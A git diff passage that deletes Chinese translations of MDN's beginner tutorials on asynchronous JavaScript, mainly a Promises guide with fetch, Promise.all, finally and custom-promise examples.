-  let objectURL = URL.createObjectURL(myBlob);
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-}
-
-myFetch();
- -

缺陷

- - - -

浏览器兼容性

- -

{{Compat("javascript.statements.async_function")}}

- -

更多信息

- - - -

{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}

- -

本章内容

- - diff --git "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/index.html" "b/files/zh-cn/learn/javascript/\345\274\202\346\255\245/index.html" deleted file mode 100644 index 3d89f5a060..0000000000 --- "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/index.html" +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: 异步JavaScript -slug: learn/JavaScript/异步 -tags: - - JavaScript - - Promises - - requestAnimationFrame - - 初学者 - - 回调函数 - - 异步 - - 指南 - - 等待 - - 脚本编程 - - 设置定时器 - - 设置间隔 -translation_of: Learn/JavaScript/Asynchronous ---- -
- -
{{LearnSidebar}}
- -
- -

在这个模块,我们将查看 {{Glossary("asynchronous")}} {{Glossary("JavaScript")}},异步为什么很重要,以及怎样使用异步来有效处理潜在的阻塞操作,比如从服务器上获取资源。

- -

预备知识

- -

异步JavaScript 是一个相当高级的话题,建议你先完成( JavaScript first stepsJavaScript building blocks) 两个模块的学习后再来学习。

- -

如果你还不熟悉异步编程的概念,请从 通用异步编程概念开始. 如果熟悉的话,可以直接从介绍异步JavaScript 开始.

- -
-

Note: 如果在当前阅读本文档而使用的电子设备(电脑/平板/其他)上,你没有权限生成自己的文件,你可以使用 JSBin or Thimble 在线编程工具来尝试文章里面的代码示例

-
- -

指南

- -
-
一般异步编程概念
-
-

浏览 异步相关的重要概念,在浏览器和JS里面的应用,学习本模块其他文章之前,你应该理解这些基本的概念。

-
-
介绍异步JS
-
这篇文章简单概括同步JS遇到的问题,首次提到一些不同的异步JS技术,他们是如何解决同步JS的问题
-
合作异步JS:Timeouts and intervals
-
在这里介绍JS传统的异步方法:在一段时间后运行 或者 在设定时间周期反复运行,看看这些技术如何使用,有什么内在的问题.
-
优雅的处理异步操作:Promises
-
Promises 是JS一个相对比较新的特性,你可以使用它来延迟一些操作直到前面的代码已经返回结果。对于时间上顺序完成的一系列操作,这个真的有用。本文展示promises 如何工作,使用WebAPIs何处会见到它, 最重要的:怎样写你自己的promises.
-
让异步编程简单: async and await
-
Promises 有点复杂, 所以现代的浏览器都实现了 async 函数和 await 操作符 —--前者允许标准函数隐式地和 promises 工作, 后者可以在async 函数里面使用,等待promises运行结束,函数再继续运行。
-
选择正确的方法
-
结束本模块之前,回顾一下已经讨论的编程技术和特性:什么时候用哪个。有推荐,也有常见的陷阱提醒。
-
- -

参考

- - diff --git "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/promises\350\257\255\346\263\225/index.html" "b/files/zh-cn/learn/javascript/\345\274\202\346\255\245/promises\350\257\255\346\263\225/index.html" deleted file mode 100644 index 665bda8129..0000000000 --- "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/promises\350\257\255\346\263\225/index.html" +++ /dev/null @@ -1,599 +0,0 @@ ---- -title: 优雅的异步处理 -slug: learn/JavaScript/异步/Promises语法 -translation_of: Learn/JavaScript/Asynchronous/Promises ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}
- -

Promise 是 JavaScript 语言的一个相对较新的功能,允许你推迟进一步的操作,直到上一个操作完成或响应其失败。这对于设置一系列异步操作以正常工作非常有用。本文向你展示了promises如何工作,如何在Web API中使用它们以及如何编写自己的API

- - - - - - - - - - - - -
前提条件:基本的计算机素养,具备基础的JavaScript知识
目标:理解并使用学习如何使用Promises
- -

什么是promises?

- -

我们在教程的第一篇文章中简要地了解了 Promises,接下来我们将在更深层次理解Promise。

- -

本质上,Promise 是一个对象,代表操作的中间状态 —— 正如它的单词含义 '承诺' ,它保证在未来可能返回某种结果。虽然 Promise 并不保证操作在何时完成并返回结果,但是它保证当结果可用时,你的代码能正确处理结果,当结果不可用时,你的代码同样会被执行,来优雅的处理错误。

- -

通常你不会对一个异步操作从开始执行到返回结果所用的时间感兴趣(除非它耗时过长),你会更想在任何时候都能响应操作结果,当然它不会阻塞其余代码的执行就更好了。

- -

你与 Promise 常见的交互之一就是 Web API 返回的 promise 对象。让我们设想一个视频聊天应用程序,该程序有一个展示用户的朋友列表的窗口,可以点击朋友旁边的按钮对朋友视频呼叫。

- -

该按钮的处理程序调用 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} 来访问用户的摄像头和麦克风。由于 getUserMedia() 必须确保用户具有使用这些设备的权限,并询问用户要使用哪个麦克风和摄像头(或者是否仅进行语音通话,以及其他可能的选项),因此它会产生阻塞,直到用户做出所有的决定,并且摄像头和麦克风都已启用。此外,用户可能不会立即响应权限请求。所以 getUserMedia() 可能需要很长时间。

- -

由于 getUserMedia() 是在浏览器的主线程进行调用,整个浏览器将会处于阻塞状态直到 getUserMedia() 返回,这是不应该发生的;不使用Promise,浏览器将处于不可用状态直到用户为摄像头和麦克风做出决定。因此 getUserMedia() 返回一个Promise对象,即 {{jsxref("promise")}},一旦  {{domxref("MediaStream")}} 流可用才去解析,而不是等待用户操作、启动选中的设备并直接返回从所选资源创建的 {{domxref("MediaStream")}} 流。

- -

上述视频聊天应用程序的代码可能像下面这样:

- -
function handleCallButton(evt) {
-  setStatusMessage("Calling...");
-  navigator.mediaDevices.getUserMedia({video: true, audio: true})
-    .then(chatStream => {
-      selfViewElem.srcObject = chatStream;
-      chatStream.getTracks().forEach(track => myPeerConnection.addTrack(track, chatStream));
-      setStatusMessage("Connected");
-    }).catch(err => {
-      setStatusMessage("Failed to connect");
-    });
-}
-
- -

这个函数在开头调用 setStatusMessage() 来更新状态显示信息"Calling...", 表示正在尝试通话。接下来调用 getUserMedia(),请求具有视频及音频轨的流,一旦获得这个流,就将其显示在"selfViewElem"的video元素中。接下来将这个流的每个轨道添加到表示与另一个用户的连接的 WebRTC,参见{{domxref("RTCPeerConnection")}}。在这之后,状态显示为"Connected"。

- -

如果getUserMedia()失败,则catch块运行。这使用setStatusMessage()更新状态框以指示发生错误。

- -

这里重要的是getUserMedia()调用几乎立即返回,即使尚未获得相机流。即使handleCallButton()函数向调用它的代码返回结果,当getUserMedia()完成工作时,它也会调用你提供的处理程序。只要应用程序不假设流式传输已经开始,它就可以继续运行。

- -
-

注意:  如果你有兴趣,可以在文章Signaling and video calling中了解有关此高级主题的更多信息。在该示例中使用与此类似的代码,但更完整。

-
- -

 回调函数的麻烦

- -

要完全理解为什么 promise 是一件好事,应该回想之前的回调函数,理解它们造成的困难。

- -

我们来谈谈订购披萨作为类比。为了使你的订单成功,你必须按顺序执行,不按顺序执行或上一步没完成就执行下一步是不会成功的:

- -
    -
  1. 选择配料。如果你是优柔寡断,这可能需要一段时间,如果你无法下定决心或者决定换咖喱,可能会失败。
  2. -
  3. 下订单。返回比萨饼可能需要一段时间,如果餐厅没有烹饪所需的配料,可能会失败。
  4. -
  5. 然后你收集你的披萨吃。如果你忘记了自己的钱包,那么这可能会失败,所以无法支付比萨饼的费用!
  6. -
- -

对于旧式callbacks,上述功能的伪代码表示可能如下所示:

- -
chooseToppings(function(toppings) {
-  placeOrder(toppings, function(order) {
-    collectOrder(order, function(pizza) {
-      eatPizza(pizza);
-    }, failureCallback);
-  }, failureCallback);
-}, failureCallback);
- -

这很麻烦且难以阅读(通常称为“回调地狱”),需要多次调用failureCallback()(每个嵌套函数一次),还有其他问题。

- -

使用promise改良

- -

Promises使得上面的情况更容易编写,解析和运行。如果我们使用异步promises代表上面的伪代码,我们最终会得到这样的结果:

- -
chooseToppings()
-.then(function(toppings) {
-  return placeOrder(toppings);
-})
-.then(function(order) {
-  return collectOrder(order);
-})
-.then(function(pizza) {
-  eatPizza(pizza);
-})
-.catch(failureCallback);
- -

这要好得多 - 更容易看到发生了什么,我们只需要一个.catch()块来处理所有错误,它不会阻塞主线程(所以我们可以在等待时继续玩视频游戏为了准备好收集披萨),并保证每个操作在运行之前等待先前的操作完成。我们能够以这种方式一个接一个地链接多个异步操作,因为每个.then()块返回一个新的promise,当.then()块运行完毕时它会解析。聪明,对吗?

- -

使用箭头函数,你可以进一步简化代码:

- -
chooseToppings()
-.then(toppings =>
-  placeOrder(toppings)
-)
-.then(order =>
-  collectOrder(order)
-)
-.then(pizza =>
-  eatPizza(pizza)
-)
-.catch(failureCallback);
- -

甚至这样:

- -
chooseToppings()
-.then(toppings => placeOrder(toppings))
-.then(order => collectOrder(order))
-.then(pizza => eatPizza(pizza))
-.catch(failureCallback);
- -

这是有效的,因为使用箭头函数 () => x()=> {return x;}  的有效简写; 。

- -

你甚至可以这样做,因为函数只是直接传递它们的参数,所以不需要额外的函数层:

- -
chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback);
- -

但是,这并不容易阅读,如果你的块比我们在此处显示的更复杂,则此语法可能无法使用。

- -
-

注意: 你可以使用 async/await 语法进行进一步的改进,我们将在下一篇文章中深入讨论。

-
- -

最基本的,promise与事件监听器类似,但有一些差异:

- - - -

 解释promise的基本语法:一个真实的例子

- -

Promises 很重要,因为大多数现代Web API都将它们用于执行潜在冗长任务的函数。要使用现代Web技术,你需要使用promises。在本章的后面我们将看看如何编写自己的promises,但是现在我们将看一些你将在Web API中遇到的简单示例。

- -

在第一个示例中,我们将使用fetch()方法从Web获取图像,blob() 方法来转换获取响应的原始内容到 Blob 对象,然后在 <img> 元素内显示该blob。这与我们在 first article of the series中看到的示例非常相似,但是会在构建你自己的基于 promise 的代码时有所不同。 

- -
-

注意: 下列代码无法直接运行(i.e. via a file:// URL)。你需要本地测试服务器,或是 GlitchGitHub pages 这样的在线解决方案。

-
- -
    -
  1. -

    首先,下载我们的 simple HTML templatesample image file

    -
  2. -
  3. -

    将 {{htmlelement("script")}} 元素添加在HTML {{htmlelement("body")}} 的底部。

    -
  4. -
  5. -

    在 {{HTMLElement("script")}} 元素内,添加以下行:

    - -
    let promise = fetch('coffee.jpg');
    - -

    这会调用 fetch() 方法,将图像的URL作为参数从网络中提取。这也可以将options对象作为可选的第二个参数,但我们现在只使用最简单的版本。我们将 fetch() 返回的promise对象存储在一个名为promise的变量中。正如我们之前所说的,这个对象代表了一个最初既不成功也不失败的中间状态 - 这个状态下的promise的官方术语叫作pending

    -
  6. -
  7. 为了响应成功完成操作(在这种情况下,当返回{{domxref("Response")}}时),我们调用promise对象的.then()方法。 .then()块中的回调(称为执行程序)仅在promise调用成功完成时运行并返回{{domxref("Response")}}对象 - 在promise-speak中,当它已被满足时。它将返回的{{domxref("Response")}}对象作为参数传递。
  8. -
- -
-

注意: .then()块的工作方式类似于使用AddEventListener()向对象添加事件侦听器时的方式。它不会在事件发生之前运行(当promise履行时)。最显着的区别是.then()每次使用时只运行一次,而事件监听器可以多次调用。

-
- -

我们立即对此响应运行blob()方法以确保响应主体完全下载,并且当它可用时将其转换为我们可以执行某些操作的Blob对象。返回的结果如下:

- -
response => response.blob()
- -

这是下面的简写

- -
function(response) {
-    return response.blob();
-}
-
- -

好的,我们还需要做点额外的工作。Fetch promises 不会产生 404 或 500错误,只有在产生像网路故障的情况时才会不工作。总的来说,Fetch promises 总是成功运行,即使response.ok 属性是 false。为了产生404错误,我们需要判断 response.ok ,如果是 false,抛出错误,否则返回 blob。就像下面的代码这样做。

- -
let promise2 = promise.then(response => {
-  if (!response.ok) {
-    throw new Error(`HTTP error! status: ${response.status}`);
-  } else {
-    return response.blob();
-  }
-});
- -

5. 每次调用.then()都会创建一个新的promise。这非常有用;因为blob()方法也返回一个promise,我们可以通过调用第二个promise的.then()方法来处理它在履行时返回的Blob对象。因为我们想要对blob执行一些更复杂的操作,而不仅仅运行单个方法并返回结果,这次我们需要将函数体包装成花括号(否则会抛出错误)。

- -

将以下内容添加到代码的末尾:

- -
let promise3 = promise2.then(myBlob => {})
- -

6. 现在让我们填写执行程序函数的主体。在花括号内添加以下行:

- -
let objectURL = URL.createObjectURL(myBlob);
-let image = document.createElement('img');
-image.src = objectURL;
-document.body.appendChild(image);
- -

这里我们运行{{domxref("URL.createObjectURL()")}}方法,将其作为Blob在第二个promise实现时返回的参数传递。这将返回指向该对象的URL。然后我们创建一个{{htmlelement("img")}}元素,将其src属性设置为等于对象URL并将其附加到DOM,这样图像就会显示在页面上!

- -

如果你保存刚刚创建的HTML文件并将其加载到浏览器中,你将看到图像按预期显示在页面中。干得好!

- -
-

注意: 你可能会注意到这些例子有点做作。你可以取消整个fetch()blob()链,只需创建一个<img>元素并将其src属性值设置为图像文件的URL,即coffee.jpg。然而,我们选择了这个例子,因为它以简单的方式展示了promise,而不是真实世界的适当性。

-
- -

响应失败

- -

缺少一些东西 - 如果其中一个promise失败(rejects,in promise-speak),目前没有什么可以明确地处理错误。我们可以通过运行前一个promise的 .catch() 方法来添加错误处理。立即添加:

- -
let errorCase = promise3.catch(e => {
-  console.log('There has been a problem with your fetch operation: ' + e.message);
-});
- -

要查看此操作,请尝试拼错图像的URL并重新加载页面。该错误将在浏览器的开发人员工具的控制台中报告。

- -

如果你根本不操心包括的 .catch() 块,这并没有做太多的事情,但考虑一下(指.catch()块) ––这会使我们可以完全控制错误处理方式。在真实的应用程序中,你的.catch()块可以重试获取图像,或显示默认图像,或提示用户提供不同的图像URL等等。

- -
-

注意: 你可以参考 our version of the example live (参阅 source code ).

-
- -

将代码块链在一起

- -

这是写出来的一种非常简便的方式;我们故意这样做是为了帮助你清楚地了解发生了什么。如本文前面所示,你可以将.then()块(以及.catch()块)链接在一起。上面的代码也可以这样写(参阅GitHub上的simple-fetch-chained.html ):

- -
fetch('coffee.jpg')
-.then(response => {
-  if (!response.ok) {
-    throw new Error(`HTTP error! status: ${response.status}`);
-  } else {
-    return response.blob();
-  }
-})
-.then(myBlob => {
-  let objectURL = URL.createObjectURL(myBlob);
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-})
-.catch(e => {
-  console.log('There has been a problem with your fetch operation: ' + e.message);
-});
- -

请记住,履行的promise所返回的值将成为传递给下一个 .then() 块的executor函数的参数。

- -
-

注意: promise中的.then()/catch()块基本上是同步代码中try...catch块的异步等价物。请记住,同步try ... catch在异步代码中不起作用。

-
- -

Promise术语回顾

- -

在上面的部分中有很多要介绍的内容,所以让我们快速回过头来给你一个简短的指南,你可以将它添加到书签中,以便将来更新你的记忆。你还应该再次阅读上述部分,以确保这些概念坚持下去。

- -
    -
  1. 创建promise时,它既不是成功也不是失败状态。这个状态叫作pending(待定)。
  2. -
  3. 当promise返回时,称为 resolved(已解决). -
      -
    1. 一个成功resolved的promise称为fullfilled实现)。它返回一个值,可以通过将.then()块链接到promise链的末尾来访问该值。 .then()块中的执行程序函数将包含promise的返回值。
    2. -
    3. 一个不成功resolved的promise被称为rejected拒绝)了。它返回一个原因(reason),一条错误消息,说明为什么拒绝promise。可以通过将.catch()块链接到promise链的末尾来访问此原因。
    4. -
    -
  4. -
- -

 运行代码以响应多个Promises的实现

- -

上面的例子向我们展示了使用promises的一些真正的基础知识。现在让我们看一些更高级的功能。首先,链接进程一个接一个地发生都很好,但是如果你想在一大堆Promises全部完成之后运行一些代码呢?

- -

 你可以使用巧妙命名的Promise.all()静态方法完成此操作。这将一个promises数组作为输入参数,并返回一个新的Promise对象,只有当数组中的所有promise都满足时才会满足。它看起来像这样:

- -
Promise.all([a, b, c]).then(values => {
-  ...
-});
- -

如果它们都实现,那么数组中的结果将作为参数传递给.then()块中的执行器函数。如果传递给Promise.all()的任何一个 promise 拒绝,整个块将拒绝

- -

这非常有用。想象一下,我们正在获取信息以在内容上动态填充页面上的UI功能。在许多情况下,接收所有数据然后才显示完整内容,而不是显示部分信息。

- -

让我们构建另一个示例来展示这一点。

- -
    -
  1. -

    下载我们页面模板(page template)的新副本,并再次在结束</ body>标记之前放置一个<script>元素。

    -
  2. -
  3. -

    下载我们的源文件(coffee.jpg, tea.jpg和 description.txt),或者随意替换成你自己的文件。

    -
  4. -
  5. -

    在我们的脚本中,我们将首先定义一个函数,该函数返回我们要发送给Promise.all()的promise。如果我们只想运行Promise.all()块以响应三个fetch()操作完成,这将很容易。我们可以这样做:

    - -
    let a = fetch(url1);
    -let b = fetch(url2);
    -let c = fetch(url3);
    -
    -Promise.all([a, b, c]).then(values => {
    -  ...
    -});
    - -

    当promise是fullfilled时,传递到履行处理程序的values将包含三个Response对象,每个对象用于已完成的每个fetch()操作。

    - -

    但是,我们不想这样做。我们的代码不关心fetch()操作何时完成。相反,我们想要的是加载的数据。这意味着当我们返回代表图像的可用blob和可用的文本字符串时,我们想要运行Promise.all()块。我们可以编写一个执行此操作的函数;在<script>元素中添加以下内容:

    - -
    function fetchAndDecode(url, type) {
    -  return fetch(url).then(response => {
    -    if (type === 'blob') {
    -      return response.blob();
    -    } else if (type === 'text') {
    -      return response.text();
    -    }
    -  })
    -  .catch(e => {
    -    console.log('There has been a problem with your fetch operation: ' + e.message);
    -  });
    -}
    - -

    这看起来有点复杂,所以让我们一步一步地完成它:

    - -
      -
    1. 首先,我们定义函数,向它传递一个URL和字符串,这个字符串表示资源类型。
    2. -
    3. 在函数体内部,我们有一个类似于我们在第一个例子中看到的结构 - 我们调用fetch()函数来获取指定URL处的资源,然后将其链接到另一个 promise ,它解码(或“read”)响应body。这是前一个示例中的blob()方法。
    4. -
    5. 但是,这里有两处不同: -
        -
      • 首先,我们返回的第二个promise会因类型值的不同而不同。在执行函数内部,我们包含一个简单的if ... else if语句,根据我们需要解码的文件类型返回不同的promise(在这种情况下,我们可以选择blobtext,而且很容易扩展这个以处理其他类型)。
      • -
      • 其次,我们在fetch()调用之前添加了return关键字。它的作用是运行整个链,然后运行最终结果(即blob()text()返回的promise作为我们刚刚定义的函数的返回值)。实际上,return语句将结果从链返回到顶部。
      • -
      -
    6. -
    7. -

      在块结束时,我们链接一个.catch()调用,以处理任何可能出现在数组中传递给.all()的任何promise的错误情况。如果任何promise被拒绝,catch块将告诉你哪个promise有问题。 .all()块(见下文)仍然可以实现,但不会显示有问题的资源。如果你想要.all拒绝,你必须将.catch()块链接到那里的末尾。

      -
    8. -
    - -

    函数体内部的代码是async(异步)和基于promise的,因此实际上整个函数就像一个promise ––方便啊!

    -
  6. -
  7. -

    接下来,我们调用我们的函数三次以开始获取和解码图像和文本的过程,并将每个返回的promises存储在变量中。在以前的代码下面添加以下内容:

    - -
    let coffee = fetchAndDecode('coffee.jpg', 'blob');
    -let tea = fetchAndDecode('tea.jpg', 'blob');
    -let description = fetchAndDecode('description.txt', 'text');
    -
  8. -
  9. -

    接下来,我们将定义一个Promise.all()块,仅当上面存储的所有三个promise都已成功完成时才运行一些代码。首先,在.then()调用中添加一个带有空执行程序的块,如下所示:

    - -
    Promise.all([coffee, tea, description]).then(values => {
    -
    -});
    - -

    你可以看到它需要一个包含promises作为参数的数组。执行者只有在所有三个promises的状态成为resolved时才会运行;当发生这种情况时,它将被传入一个数组,其中包含来自各个promise(即解码的响应主体)的结果,类似于 [coffee-results, tea-results, description-results].

    -
  10. -
  11. -

    最后,在执行程序中添加以下内容。这里我们使用一些相当简单的同步代码将结果存储在单独的变量中(从blob创建对象URL),然后在页面上显示图像和文本。

    - -
    console.log(values);
    -// Store each value returned from the promises in separate variables; create object URLs from the blobs
    -let objectURL1 = URL.createObjectURL(values[0]);
    -let objectURL2 = URL.createObjectURL(values[1]);
    -let descText = values[2];
    -
    -// Display the images in <img> elements
    -let image1 = document.createElement('img');
    -let image2 = document.createElement('img');
    -image1.src = objectURL1;
    -image2.src = objectURL2;
    -document.body.appendChild(image1);
    -document.body.appendChild(image2);
    -
    -// Display the text in a paragraph
    -let para = document.createElement('p');
    -para.textContent = descText;
    -document.body.appendChild(para);
    -
  12. -
  13. -

    保存并刷新,你应该看到所有UI组件都已加载,尽管不是特别有吸引力!

    -
  14. -
- -

我们在这里提供的用于显示项目的代码相当简陋,但现在作为解释器。

- -
-

注意: 如果你遇到困难,可以将你的代码版本与我们的代码进行比较,看看它的外观 -––see it live,也可以参阅source code

-
- -
-

注意: 如果你正在改进这段代码,你可能想要遍历一个项目列表来显示,获取和解码每个项目,然后循环遍历Promise.all()内部的结果,运行一个不同的函数来显示每个项目取决于什么代码的类型是。这将使它适用于任何数量的项目,而不仅仅是三个。

- -

此外,你可以确定要获取的文件类型,而无需显式类型属性。例如,你可以使用response.headers.get("content-type")检查响应的{{HTTPHeader("Content-Type")}} HTTP标头,然后做出相应的反应。

-
- -

 在promise fullfill/reject后运行一些最终代码

- -

在promise完成后,你可能希望运行最后一段代码,无论它是否已实现(fullfilled)或被拒绝(rejected)。此前,你必须在.then().catch()回调中包含相同的代码,例如:

- -
myPromise
-.then(response => {
-  doSomething(response);
-  runFinalCode();
-})
-.catch(e => {
-  returnError(e);
-  runFinalCode();
-});
- -

在现代浏览器中,.finally() 方法可用,它可以链接到常规promise链的末尾,允许你减少代码重复并更优雅地执行操作。上面的代码现在可以写成如下:

- -
myPromise
-.then(response => {
-  doSomething(response);
-})
-.catch(e => {
-  returnError(e);
-})
-.finally(() => {
-  runFinalCode();
-});
- -

有关一个真实示例,请查看我们的promise-finally.html demo(另请参阅source code)。这与我们在上面部分中看到的Promise.all()演示完全相同,除了在fetchAndDecode()函数中我们将finally()调用链接到链的末尾:

- -
function fetchAndDecode(url, type) {
-  return fetch(url).then(response => {
-    if(!response.ok) {
-      throw new Error(`HTTP error! status: ${response.status}`);
-    } else {
-      if(type === 'blob') {
-        return response.blob();
-      } else if(type === 'text') {
-        return response.text();
-      }
-    }
-  })
-  .catch(e => {
-    console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message);
-  })
-  .finally(() => {
-    console.log(`fetch attempt for "${url}" finished.`);
-  });
-}
- -

这会将一条简单的消息记录到控制台,告诉我们每次获取尝试的时间。

- -
-

注意:finally()允许你在异步代码中编写异步等价物try/ catch / finally。

-
- -

 构建自定义promise

- -

好消息是,在某种程度上,你已经建立了自己的promise。当你使用.then()块链接多个promise时,或者将它们组合起来创建自定义函数时,你已经在创建自己的基于异步声明的自定义函数。例如,从前面的示例中获取我们的fetchAndDecode()函数。

- -

将不同的基于promise的API组合在一起以创建自定义函数是迄今为止你使用promises进行自定义事务的最常见方式,并展示了基于相同原则的大多数现代API的灵活性和强大功能。然而,还有另一种方式。

- -

使用Promise()构造函数

- -

可以使用Promise() 构造函数构建自己的promise。当你需要使用现有的旧项目代码、库或框架以及基于现代promise的代码时,这会派上用场。比如,当你遇到没有使用promise的旧式异步API的代码时,你可以用promise来重构这段异步代码。

- -

让我们看一个简单的示例来帮助你入门 —— 这里我们用 promise 包装一了个setTimeout()它会在两秒后运行一个函数,该函数将用字符串“Success!”,解析当前promise(调用链接的resolve())。

- -
let timeoutPromise = new Promise((resolve, reject) => {
-  setTimeout(function(){
-    resolve('Success!');
-  }, 2000);
-});
- -

resolve()reject()是用来实现拒绝新创建的promise的函数。此处,promise 成功运行通过显示字符串“Success!”。

- -

因此,当你调用此promise时,可以将.then()块链接到它的末尾,它将传递给.then()块一串“Success!”。在下面的代码中,我们显示出该消息:

- -
timeoutPromise
-.then((message) => {
-   alert(message);
-})
- -

更简化的版本:

- -
timeoutPromise.then(alert);
-
- -

尝试 running this live 以查看结果 (可参考 source code).

- -

上面的例子不是很灵活 - promise只能实现一个字符串,并且它没有指定任何类型的reject()条件(诚然,setTimeout()实际上没有失败条件,所以对这个简单的例子并不重要)。

- -
-

注意: 为什么要resolve(),而不是fullfill()?我们现在给你的答案有些复杂。

-
- -

拒绝一个自定义promise

- -

我们可以创建一个reject() 方法拒绝promise  - 就像resolve()一样,这需要一个值,但在这种情况下,它是拒绝的原因,即将传递给.catch()的错误块。

- -

让我们扩展前面的例子,使其具有一些reject()条件,并允许在成功时传递不同的消息。

- -

获取previous example副本,并将现有的timeoutPromise()定义替换为:

- -
function timeoutPromise(message, interval) {
-  return new Promise((resolve, reject) => {
-    if (message === '' || typeof message !== 'string') {
-      reject('Message is empty or not a string');
-    } else if (interval < 0 || typeof interval !== 'number') {
-      reject('Interval is negative or not a number');
-    } else {
-      setTimeout(function(){
-        resolve(message);
-      }, interval);
-    }
-  });
-};
- -

在这里,我们将两个方法传递给一个自定义函数 - 一个用来做某事的消息,以及在做这件事之前要经过的时间间隔。在函数内部,我们返回一个新的Promise对象 - 调用该函数将返回我们想要使用的promise。

- -

Promise构造函数中,我们在if ... else结构中进行了一些检查:

- -
    -
  1. 首先,我们检查消息是否适合被警告。如果它是一个空字符串或根本不是字符串,我们会使用合适的错误消息拒绝该promise。
  2. -
  3. 接下来,我们检查间隔是否是适当的间隔值。如果是负数或不是数字,我们会使用合适的错误消息拒绝promise。
  4. -
  5. 最后,如果参数看起来都正常,我们使用setTimeout()在指定的时间间隔过后,使用指定的消息解析promise。
  6. -
- -

由于timeoutPromise()函数返回一个Promise,我们可以将.then().catch()等链接到它上面以利用它的功能。现在让我们使用它 - 将以前的timeoutPromise用法替换为以下值:

- -
timeoutPromise('Hello there!', 1000)
-.then(message => {
-   alert(message);
-})
-.catch(e => {
-  console.log('Error: ' + e);
-});
- -

当你按原样保存并运行代码时,一秒钟后你将收到消息提醒。现在尝试将消息设置为空字符串或将间隔设置为负数,例如,你将能够通过相应的错误消息查看被拒绝的promise!你还可以尝试使用已解决的消息执行其他操作,而不仅仅是提醒它。

- -
-

注意: 你可以在GitHub上找到我们的这个示例版本custom-promise2.html(另请参阅source code)。

-
- -

一个更真实的例子

- -

上面的例子是故意做得简单,以使概念易于理解,但它并不是实际上完全异步。异步性质基本上是使用setTimeout()伪造的,尽管它仍然表明promises对于创建具有合理的操作流程,良好的错误处理等的自定义函数很有用

- -

我们想邀请你学习的一个例子是Jake Archibald's idb library,它真正地显示了Promise()构造函数的有用异步应用程序。这采用了 IndexedDB API,它是一种旧式的基于回调的API,用于在客户端存储和检索数据,并允许你将其与promises一起使用。如果你查看main library file,你将看到我们在上面讨论过的相同类型的技术。以下块将许多IndexedDB方法使用的基本请求模型转换为使用promise:

- -
function promisifyRequest(request) {
-  return new Promise(function(resolve, reject) {
-    request.onsuccess = function() {
-      resolve(request.result);
-    };
-
-    request.onerror = function() {
-      reject(request.error);
-    };
-  });
-}
- -

这可以通过添加一些事件处理程序来实现,这些事件处理程序在适当的时候实现(fullfill)和拒绝(reject)promise。

- - - -

总结

- -

当我们不知道函数的返回值或返回需要多长时间时,Promises是构建异步应用程序的好方法。它们使得在没有深度嵌套回调的情况下更容易表达和推理异步操作序列,并且它们支持类似于同步try ... catch语句的错误处理方式。

- -

Promise适用于所有现代浏览器的最新版本;promise有兼容问题的唯一情况是Opera Mini和IE11及更早版本。

- -

本文中,我们没有涉及的所有promise的功能,只是最有趣和最有用的功能。当你开始了解有关promise的更多信息时,你会遇到更多功能和技巧。

- -

大多数现代Web API都是基于promise的,因此你需要了解promise才能充分利用它们。这些API包括WebRTCWeb Audio APIMedia Capture and Streams等等。随着时间的推移,Promises将变得越来越重要,因此学习使用和理解它们是学习现代JavaScript的重要一步。

- -

参见

- - - -

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}

- -

 本章内容

- - diff --git "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\346\246\202\345\277\265/index.html" "b/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\346\246\202\345\277\265/index.html" deleted file mode 100644 index 6e59cda54b..0000000000 --- "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\346\246\202\345\277\265/index.html" +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: 通用异步编程概念 -slug: learn/JavaScript/异步/概念 -tags: - - JavaScript - - Promises - - Threads - - 学习 - - 异步 - - 阻塞 -translation_of: Learn/JavaScript/Asynchronous/Concepts ---- -
{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}
- -

在本文中,我们将介绍与异步编程相关的一些重要概念,以及它们在浏览器和JavaScript里的体现。在学习本系列的其他文章之前,你应该先理解这些概念。

- - - - - - - - - - - - -
预备条件:拥有基本的计算机知识,对JavaScript原理有一定了解。
目标:理解异步编程的基本概念,以及异步编程在浏览器和JavaScript里面的表现。
- -

异步?

- -

通常来说,程序都是顺序执行,同一时刻只会发生一件事。如果一个函数依赖于另一个函数的结果,它只能等待那个函数结束才能继续执行,从用户的角度来说,整个程序才算运行完毕.

- -

Mac 用户有时会经历过这种旋转的彩虹光标(常称为沙滩球),操作系统通过这个光标告诉用户:“现在运行的程序正在等待其他的某一件事情完成,才能继续运行,都这么长的时间了,你一定在担心到底发生了什么事情”。

- -

multi-colored macos beachball busy spinner

- -

这是令人沮丧的体验,没有充分利用计算机的计算能力 — 尤其是在计算机普遍都有多核CPU的时代,坐在那里等待毫无意义,你完全可以在另一个处理器内核上干其他的工作,同时计算机完成耗时任务的时候通知你。这样你可以同时完成其他工作,这就是异步编程的出发点。你正在使用的编程环境(就web开发而言,编程环境就是web浏览器)负责为你提供异步运行此类任务的API。

- -

产生阻塞的代码

- -

异步技术非常有用,特别是在web编程。当浏览器里面的一个web应用进行密集运算还没有把控制权返回给浏览器的时候,整个浏览器就像冻僵了一样,这叫做阻塞;这时候浏览器无法继续处理用户的输入并执行其他任务,直到web应用交回处理器的控制。

- -

我们来看一些阻塞的例子。

- -

